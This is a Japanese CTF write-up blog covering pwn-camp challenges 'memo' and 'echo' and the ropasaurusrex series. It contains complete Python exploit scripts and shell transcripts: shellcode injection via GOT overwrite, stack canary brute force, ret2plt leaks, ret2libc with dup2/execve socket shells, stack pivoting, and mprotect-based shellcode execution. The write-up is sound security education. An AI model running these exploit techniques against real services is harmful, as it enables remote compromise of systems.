netcatでサーバに接続すると、名前とパスワードを聞かれる。

[root@ubuntu] # nc XXXXXXXXXX 10005
Input your name.
(name)aaaa
Input your password.
(pass)bbbb
Wrong password...

ファイルを見るとx86バイナリ。保護機構を見てみると、Canary と NX が有効となっている。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

バイナリを読むと、xinetd ライクに動いており、

  • (name)の入力で、fgetsから42文字入力
  • (pass)の入力で、fgetsから128文字入力
  • パスワードが合っている場合、(memo)の入力ができ、fgetsから128文字入力
  • バイナリ内のパスワードは"h4v3_4_n1c3_pwn_c4mp!"で固定
  • (pass)で入力した文字列は、0x15番目のoffset を 0x00 にしてから比較。つまり"h4v3_4_n1c3_pwn_c4mp!"のあとは任意の文字を入力しておける

ということがわかる。

[root@ubuntu] # nc XXXXXXXXXX 10005
Input your name.
(name)aaaa  
Input your password.
(pass)h4v3_4_n1c3_pwn_c4mp!bbbbbbbbbbbbbbbbbbbbbbbb  
Hi, aaaa

Write your memo.
(memo)cccc

次に、文字列が読み込まれる場所を見ると3つともStack上に読み込んでいる。
また、3回それぞれの文字列の読込先もStack上に存在しており、さらに2回目と3回目の読込先は、1回目の文字列で上書きすることができる。

x/10wx 0xffffcf02  (1回目の読込先Addr)
0xffffcf02:	0xea71ffff	0xaac807b1	0xa858f7e1	0x0bf8f7fd
0xffffcf12:	0x0d56f7e2	0xd000f7ff	0xf4e2f7ff	0xd55cf7fd
0xffffcf22:	0xffffcf2c	0xffffcfac
                ↑2回目読込先     ↑3回目読込先

32文字入力した後から、2回目と3回目の読込先情報がOverwriteできる。

次に、書き込み可能な箇所を調べるためにメモリマップを見てみる。

gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/home/pwncamp2015/memo-3218e32a5e0d8e5216ceaa1230d1c4f60c267038
0x08049000 0x0804a000 rw-p	/home/pwncamp2015/memo-3218e32a5e0d8e5216ceaa1230d1c4f60c267038
0x0804c000 0x0804d000 rwxp	mapped
0xf7e13000 0xf7e14000 rw-p	mapped
0xf7e14000 0xf7fbc000 r-xp	/lib/i386-linux-gnu/libc.so.6
0xf7fbc000 0xf7fbe000 r--p	/lib/i386-linux-gnu/libc.so.6
0xf7fbe000 0xf7fbf000 rw-p	/lib/i386-linux-gnu/libc.so.6
0xf7fbf000 0xf7fc2000 rw-p	mapped
0xf7fd8000 0xf7fdb000 rw-p	mapped
0xf7fdb000 0xf7fdc000 r-xp	[vdso]
0xf7fdc000 0xf7ffc000 r-xp	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p	/lib/i386-linux-gnu/ld-2.19.so
0xfffdd000 0xffffe000 rw-p	[stack]

rwxな領域も存在することがわかる。
ここで攻撃方針が立つ。

  1. 1回目の書き込みで、2回目の読込先をrwx領域に、3回目の読込先をどこかのgotに変える。
  2. 2回目の書き込みで、"h4v3_4_n1c3_pwn_c4mp!" の文字列と、その後にシェルコードを送り込む
  3. 3回目の書き込みで、どこかのgotをシェルコードの先頭を指すよう書き換える
  4. gotに飛んだときにシェルコード発動

しかし、静的解析をしていると3回目のfgets(赤線)の後にはlibcの関数を呼ばずにmainが終了していることがわかる。

f:id:f_rin:20150908172227p:plain
x86のためBruteForceでリターンアドレスを書き換えることはできるがもっと良い方法はないものか。
ここで、gdbでmain関数からのReturnを読んでみると、Return後の exit 関数の中で munmap.plt を呼んでいる箇所があった。
main関数だけ見てたら気付かないわけだ…

というわけで3回目の書き込み先は munmap@got.plt にする。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
	data = ''
	while not data.endswith(delim):
		data += f.read(1)
	return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
###################### main

def main(argv):
	rwx = 0x804c000
	got_munmap = 0x8049ba4

	shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

	keyword = "h4v3_4_n1c3_pwn_c4mp!"

	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 10005)
	else:
		print "[+] connect to local."
		s, f = sock("localhost", 10005)

	ret = read_until(f, "(name)")
	print ret

	buf = 'A' * 32
	buf += p(rwx)
	buf += p(got_munmap)
	f.write(buf+'\n')

	ret = read_until(f, "(pass)")
	print ret

	buf2 = keyword
	buf2 += shellcode
	f.write(buf2+'\n')

	ret = read_until(f)
	print ret

	buf3 = p(rwx+len(keyword))
	f.write(buf3+'\n')
	shell(s)

if __name__ == '__main__':
	main(sys.argv)

これでシェルを取得することができた。

[root@ubuntu] # python exploit_memo.py r
[+] connect to remote.
Input your name.
(name)
Input your password.
(pass)
Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Write your memo.
(memo)ls
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat /home/*/flag
PWN{enjoypwncamp}
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

mainの後とか意識していなかったので勉強になった。

echo

netcatで接続すると、メッセージを入力するように言われ、入力するとそれを返すプログラムの模様。

[root@ubuntu] # nc XXXXXXXXXX 10004
Welcome to Echo Server
Input your message
>>AAAAA  
Okay! I recieved 6 bytes
AAAAA

Bye!

ファイルは同じくx86バイナリ。保護機構も memo とほぼ同様だ。RELROがPartialなので lazy binding が有効。

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

バイナリを読むとforkサーバが実装されているため、親プロセスが死なない限りはアドレス位置や Canary値は変わらない。
このサーバではFD4で接続し、1024文字の入力を recv している。ここで Stack Overflow ができるようになっているが、513文字目から Canary を上書きしてしまうため切断されてしまう。

このプログラムはforkサーバ型なので、Canary BruteForce にて1バイトずつ Canary をリークさせる方針を取る。
その後、dup2にて入出力のファイルディスクリプタを4に差し替え、execve を呼ぶ。
バイナリ内で利用されているdprintfで情報をリークしようとしたがうまく行かないので、仕方なしに libc_base を推測して Brute Force することにした。

なんかBruteばっかりだな…ということでこの問題は ASLR を有効にした自サーバに打つ。
libc_baseは、32bitマシンか64bitマシンで値が違うが、自サーバは64bitマシンで動かしているため 0xf7500000 あたりから0x1000ずつ増やしていけば当たるだろう(ちなみに libc.so.6 は与えられている)。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, signal

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
		data = ''
		while not data.endswith(delim):
				data += f.read(1)
		return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
###################### main

class TimeoutError(Exception):
	pass

def handler(signum, frame):
	raise TimeoutError()

def canaryBruteForce(buf):
	for i in range(0x100):
		signal.alarm(0)
		signal.alarm(1)
		#print "[+] %d..." % i

		try:
			s, f = sock("localhost", 10004)

			ret = read_until(f)
			buf1 = buf + chr(i)
			f.write(buf1)

			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			if("Bye!" in ret):
				print "[+] value is: 0x%02x" % i
				return buf1
		except:
			pass

def main(argv):
	socketfd = 4
	libc_base = 0xf7500000
	execve_addr = libc_base + 0xb5be0
	dup2_addr = libc_base + 0xdb590
	binsh_addr = libc_base + 0x160a24
	exit_addr = libc_base + 0x331e0
	pop2ret = 0x8048b95
	pop3ret = 0x8048b94

	buf = "A" * 512

	### guessing Canary
	print "[+] find Canary"
	print "[+] finding 1st byte"
	signal.signal(signal.SIGALRM, handler)
	buf = canaryBruteForce(buf)
	print "[+] finding 2nd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 3rd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 4th byte"
	buf = canaryBruteForce(buf)
	signal.alarm(0)

	print "[+] Canary found. start ret2libc"
	for i in range(0x200):
		offset = i * 0x1000
		print "[+] libc_base: 0x%08x" % (libc_base + offset)
		buf1 = buf
		buf1 += "A" * 12
		buf1 += p(offset + dup2_addr)
		buf1 += p(pop2ret)
		buf1 += p(socketfd)
		buf1 += p(0)
		buf1 += p(offset + dup2_addr)
		buf1 += p(pop2ret)
		buf1 += p(socketfd)
		buf1 += p(1)
		buf1 += p(offset + dup2_addr)
		buf1 += p(pop2ret)
		buf1 += p(socketfd)
		buf1 += p(2)
		buf1 += p(offset + execve_addr)
		buf1 += p(pop3ret)
		buf1 += p(offset + binsh_addr)
		buf1 += p(0)
		buf1 += p(0)
		buf1 += p(offset + exit_addr)
		buf1 += "AAAA"
		buf1 += p(0)

		s, f = sock("localhost", 10004)
		ret = read_until(f)
		f.write(buf1+'\n')

		shell(s)

if __name__ == '__main__':
	main(sys.argv)

これでシェルを取ることができた。

[root@ubuntu] # python exploit_echo_local.py
[+] find Canary
[+] finding 1st byte
[+] value is: 0x00
[+] finding 2nd byte
[+] value is: 0x5b
[+] finding 3rd byte
[+] value is: 0x12
[+] finding 4th byte
[+] value is: 0xa5
[+] Canary found. start ret2libc
[+] libc_base: 0xf7500000

(snip)

[+] libc_base: 0xf75dc000
Input your message
>>Okay! I recieved 609 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ls /
bin
boot
cdrom
dev
etc
home
initrd.img
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
exit
*** Connection closed by remote host ***

Return to dl-runtime-resolve とかでいけるかな、とか思いつつもまだ不勉強なのでやらなかった。
もう少しキレイに解けたら追記しようと思う(pwnにきれいさはいらないとは思うが…)。

追記:
投稿後に普通に dprintf でリークできるよというツッコミをいただいた。
おかしいな、試したはずなのになぜ…と思いつつも試行錯誤すると確かに leak できた。

もともと試していたリーク方法

dprintf(4, "%x\n\x00", got_dprintf)
⇒ dprintf の処理で使われている strchrnul の中でセグって終わる

うまくいった方法

dprintf(4, got_dprintf)


…(´・ω`・)


ということで、 ret2plt を使って libc_base は一発で求まるようになったため、
Canary Brute Force → ret2plt(libc leak) → ret2libc にて攻略できるようになった。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, signal

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
		data = ''
		while not data.endswith(delim):
				data += f.read(1)
		return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

class TimeoutError(Exception):
	pass

def handler(signum, frame):
	raise TimeoutError()

def canaryBruteForce(buf):
	for i in range(0x100):
		signal.alarm(0)
		signal.alarm(1)
		#print "[+] %d..." % i

		try:
			s, f = sock("localhost", 10004)

			ret = read_until(f)
			buf1 = buf + chr(i)
			f.write(buf1)

			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			if("Bye!" in ret):
				print "[+] value is: 0x%02x" % i
				return buf1
		except:
			pass

def main(argv):
	socketfd = 4
	plt_dprintf = 0x80485e0
	got_dprintf = 0x804a010
	dprintf_offset = 0x4d360
	plt_exit = 0x8048650
	execve_offset = 0xb5be0
	dup2_offset = 0xdb590
	binsh_offset = 0x160a24
	pop2ret = 0x8048b95
	pop3ret = 0x8048b94

	buf = "A" * 512

	### guessing Canary
	print "[+] find Canary"
	print "[+] finding 1st byte"
	signal.signal(signal.SIGALRM, handler)
	buf = canaryBruteForce(buf)
	print "[+] finding 2nd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 3rd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 4th byte"
	buf = canaryBruteForce(buf)
	signal.alarm(0)

	### leak libc_addr
	print "[+] Canary found. start ret2plt"
	s, f = sock("localhost", 10004)
	ret = read_until(f)

	buf1 = buf
	buf1 += "A" * 12
	buf1 += p(plt_dprintf)
	buf1 += p(pop2ret)
	buf1 += p(4)
	buf1 += p(got_dprintf)
	buf1 += p(plt_exit)
	buf1 += "AAAA"
	buf1 += p(0)
	f.write(buf1+'\n')
	ret = f.read(560)
	dprintf_addr = u(f.read(4))

	print "[+] dprintf_addr: 0x%x" % dprintf_addr
	libc_base = dprintf_addr - dprintf_offset
	print "[+] libc_base: 0x%x" % libc_base

	### ret2libc
	print "[+] start ret2libc"
	s, f = sock("localhost", 10004)
	ret = read_until(f)

	buf2 = buf
	buf2 += "A" * 12
	buf2 += p(libc_base + dup2_offset)
	buf2 += p(pop2ret)
	buf2 += p(socketfd)
	buf2 += p(0)
	buf2 += p(libc_base + dup2_offset)
	buf2 += p(pop2ret)
	buf2 += p(socketfd)
	buf2 += p(1)
	buf2 += p(libc_base + dup2_offset)
	buf2 += p(pop2ret)
	buf2 += p(socketfd)
	buf2 += p(2)
	buf2 += p(libc_base + execve_offset)
	buf2 += p(pop3ret)
	buf2 += p(libc_base + binsh_offset)
	buf2 += p(0)
	buf2 += p(0)
	buf2 += p(plt_exit)
	buf2 += "AAAA"
	buf2 += p(0)

	f.write(buf2+'\n')
	shell(s)

if __name__ == '__main__':
	main(sys.argv)

試行回数激減だ。

[root@ubuntu] # python exploit_echo.py
[+] find Canary
[+] finding 1st byte
[+] value is: 0x00
[+] finding 2nd byte
[+] value is: 0x32
[+] finding 3rd byte
[+] value is: 0x12
[+] finding 4th byte
[+] value is: 0xb3
[+] Canary found. start ret2plt
[+] dprintf_addr: 0xf7651360
[+] libc_base: 0xf7604000
[+] start ret2libc
Input your message
>>Okay! I recieved 609 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ls /
bin
boot
cdrom
dev
etc
home
initrd.img
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

計算したlibc_baseからシェルを起動することができた。


おわりに

改めて振返ってみるとこういう経験って慣れ親しんでいるチームメイトともなかなかやらないし、集まってやれたことはとても良かった。
最初は参加していいものかビビっていたが、pwnばかり考えて、寝泊りしながら問題解いて、話ができて(←これ重要)、つながれたことは貴重で、明け方にホロ酔いになりながら談笑したことはたぶん忘れない。

最後に。
CTF始めたてで、pwn経験がない方が一人参加されていたけど2日足らずで村人A, Bを突破しBOFの問題にまで手を付けている様子を見て、pwn合宿の威力ハンパねぇw と思った。
あと世の中はすごい人がたくさんいるなという率直な感想。
この威力に負けないよう、そして次はさらに楽しめるようになろうと思う。

運営お疲れ様でした。

katagaitaiCTF ropasaurusrex

7/5(日)に、katagaitaiCTFに参加してきた。
特に目的はbataさんのpwnable. 資料もさることながら説明もわかりやすく、Stack overflowについての知見を多く得た会だった。

題材はPlaid CTFの過去問である"ropasaurusrex" で、これを解くhands on と、このバイナリを魔改造した advanced の構成となっていた。独学の曖昧な知識もしっかりと補完できる、とても有意義な内容だった。

このうち、解けたものをWriteupとして書いていこうと思う。
記載時点ではropasaurusrex5 は解けていないが、これも今後解けたら書く。
(その後解けたためこの解法も追記しました)

ropasaurusrex

これはHands onでもやった内容。
バイナリを見ると最大256文字をreadし、その後 "WIN\n" と出力するプログラム。

f:id:f_rin:20150712045310p:plain

[root@ubuntu] # nc localhost 1025
aaa
WIN
[root@ubuntu] #

ただし確保しているBufferは128バイトのため、140文字の後からBuffer over flowが発生する。
なお、いずれの問題もNXとASLRは有効である。

[root@ubuntu] # gdb -q ropasaurusrex
Reading symbols from ropasaurusrex...(no debugging symbols found)...done.
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$ pattc 256
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b'
Starting program: /home/rintaro/Desktop/pwn/bin/ropasaurusrex <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b'

Program received signal SIGSEGV, Segmentation fault.

(snip)

Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ patto $eip
1094806849 found at offset: 140
gdb-peda$ 

NXが有効なため、スタック上ではシェルコードを実行できない。
ret2plt を用いることで攻略できるため、Stack状態を以下の状態にして、/bin/sh を取得する。

f:id:f_rin:20150719143631p:plain

GOTの write に相当する箇所をsystem関数に書き換えておき、スタックを調整しておくことで、write関数が呼ばれた際にsystem("/bin/sh")が実行される。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1025)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	plt_read = 0x804832c
	p3ret = 0x80484b6
	data = 0x08049620
	offset_system = 0x00040190
	offset_write = 0x000dac50

	buf = "A"*140
	# write(STDOUT, got_write, 4)
	buf += p(plt_write)
	buf += p(p3ret)
	buf += p(1)
	buf += p(got_write)
	buf += p(4)
	# read(STDIN, data, 8)
	buf += p(plt_read)
	buf += p(p3ret)
	buf += p(0)
	buf += p(data)
	buf += p(8)
	# read(STDIN, got_write, 4)
	buf += p(plt_read)
	buf += p(p3ret)
	buf += p(0)
	buf += p(got_write)
	buf += p(4)
	# write(data) # system("/bin/sh")
	buf += p(plt_write)
	buf += p(0xdeadbeef)
	buf += p(data)

	f.write(buf)
	libc_write = u(f.read(4))
	libc_base = libc_write - offset_write
	libc_system = libc_base + offset_system
	print "[+] libc_write addr :", format(libc_write,'x')
	print "[+] libc_base addr  :", format(libc_base, 'x')
	print "[+] libc_system addr:", format(libc_system, 'x')
	f.write("/bin/sh\0")
	f.write(p(libc_system))

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

これで、flagの読み込みが可能となった。

[root@ubuntu] # python exploit.py r
[+] connect to remote.
[+] libc_write addr : f76acc50
[+] libc_base addr  : f75d2000
[+] libc_system addr: f7612190
ls /home/*/flag*
/home/ropasaurusrex/flag
cat /home/ropasaurusrex/flag
you_cant_stop_the_ropasaurusrex
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

ropasaurusrex2

ここから魔改造が始まる。
Level2は、入力文字数が160bytesに制限されている。

f:id:f_rin:20150712045439p:plain

ROP可能な領域が充分にないため、Stack PivotによりROP領域を.bssに移して実行する。
Old $EBP 領域に、リターン後に .bss が来るよう "移したい箇所 -4" をセットしておき、その後の leave + ret 命令で $ESP を .bss 領域に持っていく。
前半のstack pivot の部分以外は Level1 と同様のやり方で/bin/shを奪取できた。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1026)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	plt_read = 0x804832c
	p3ret = 0x80484b6
	data = 0x08049620
	offset_system = 0x00040190
	offset_write = 0x000dac50
	bss = 0x08049628 + 0x270
	leave = 0x080482ea

	buf = "A"*136
	buf += p(bss-4)
	# read(STDIN, bss, 72) for stack pivot
	buf += p(plt_read)
	buf += p(leave)
	buf += p(0)
	buf += p(bss)
	buf += p(72)
	# write(STDOUT, got_write, 4)
	buf2 = p(plt_write)
	buf2 += p(p3ret)
	buf2 += p(1)
	buf2 += p(got_write)
	buf2 += p(4)
	# read(STDIN, data, 8)
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(data)
	buf2 += p(8)
	# read(STDIN, got_write, 4)
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(got_write)
	buf2 += p(4)
	# write(data) # system("/bin/sh")
	buf2 += p(plt_write)
	buf2 += p(0xdeadbeef)
	buf2 += p(data)

	f.write(buf)
	f.write(buf2)
	libc_write = u(f.read(4))
	libc_base = libc_write - offset_write
	libc_system = libc_base + offset_system
	print "[+] libc_write addr :", format(libc_write,'x')
	print "[+] libc_base addr  :", format(libc_base, 'x')
	print "[+] libc_system addr:", format(libc_system, 'x')
	f.write("/bin/sh\0")
	f.write(p(libc_system))

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

最初はbss領域の先頭にESPを持っていっていたため、system関数が呼ばれた後にESPが頭打ちとなり、SIGSEGVで動かなかったため、.bssの先頭から少し先のアドレスを設定する。
注意点が身になる。
ちなみにここからFlag名が簡単には推測できないようになっている。

[root@ubuntu] # python exploit2.py r
[+] connect to remote.
[+] libc_write addr : f767fc50
[+] libc_base addr  : f75a5000
[+] libc_system addr: f75e5190
ls /home/*/flag*
/home/ropasaurusrex2/flag_23296711352720061
cat /home/ropasaurusrex2/flag_23296711352720061
flag{you_cant_stop_the_ropasaurusrex2_but_stack_pivot_help_you!}
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

ropasaurusrex3

Level3 では、chrootにより /bin 配下を見れなくなっている。
そのため /bin/sh を開くことができない。
以下2通りを考えたが、後者のやり方を実装することにした(mprotectは以前やったことあるのとggったらシェルコードが見つかったため)。

  1. C言語の関数である opendirとreaddir などを利用してファイルを取得し、その後open, read, write でFlagを読み出す
  2. mprotect で.bss領域のRWX権限を書き換え、その領域でコードインジェクションを実行する

ディレクトリ読み出しとファイル読み出しのシェルコードは最初頑張って書いていたが、途中でなんとなくggったらすぐ見つかったので少し後悔した。

(参考)
read-dirのシェルコード
read-fileのシェルコード

追記:あとで伺ったところ、このread-dirのシェルコードもbataさんが書いたものだったらしい。神を見た…

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	# linux/x86/read-dir(STDOUT)
	readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00"
	# linux/x86/read-file(STDOUT)
	readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag_1170037582419425558"

	mode = raw_input('input "dir" or "file"\n')
	if(mode == 'dir'):
		shellcode = readdir
	elif(mode == 'file'):
		shellcode = readfile
	else:
		print 'exit.\n'
		quit()

	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1027)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	plt_read = 0x804832c
	p3ret = 0x80484b6
	offset_mprotect = 0x000e70d0
	offset_write = 0x000dac50
	bss = 0x08049628 + 0x270
	mprotect_to = 0x08049000
	leave = 0x080482ea

	buf = "A"*136
	buf += p(bss-4)
	# read(STDIN, bss, 80) for stack pivot
	buf += p(plt_read)
	buf += p(leave)
	buf += p(0)
	buf += p(bss)
	buf += p(80)
	# write(STDOUT, got_write, 4)
	buf2 = p(plt_write)
	buf2 += p(p3ret)
	buf2 += p(1)
	buf2 += p(got_write)
	buf2 += p(4)
	# read(STDIN, bss+80, len(shellcode))
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(bss+80)
	buf2 += p(len(shellcode))
	# read(STDIN, got_write, 4)		# read mprotect to got_write
	buf2 += p(plt_read)
	buf2 += p(p3ret)
	buf2 += p(0)
	buf2 += p(got_write)
	buf2 += p(4)
	# write(bss+80)				# mprotect(.bss, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
	buf2 += p(plt_write)
	buf2 += p(bss+80)
	buf2 += p(mprotect_to)
	buf2 += p(0x1000)
	buf2 += p(7)

	f.write(buf)
	f.write(buf2)
	libc_write = u(f.read(4))
	libc_base = libc_write - offset_write
	libc_mprotect = libc_base + offset_mprotect
	print "[+] libc_write addr   :", format(libc_write,'x')
	print "[+] libc_base addr    :", format(libc_base, 'x')
	print "[+] libc_mprotect addr:", format(libc_mprotect, 'x')
	f.write(shellcode)
	f.write(p(libc_mprotect))

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

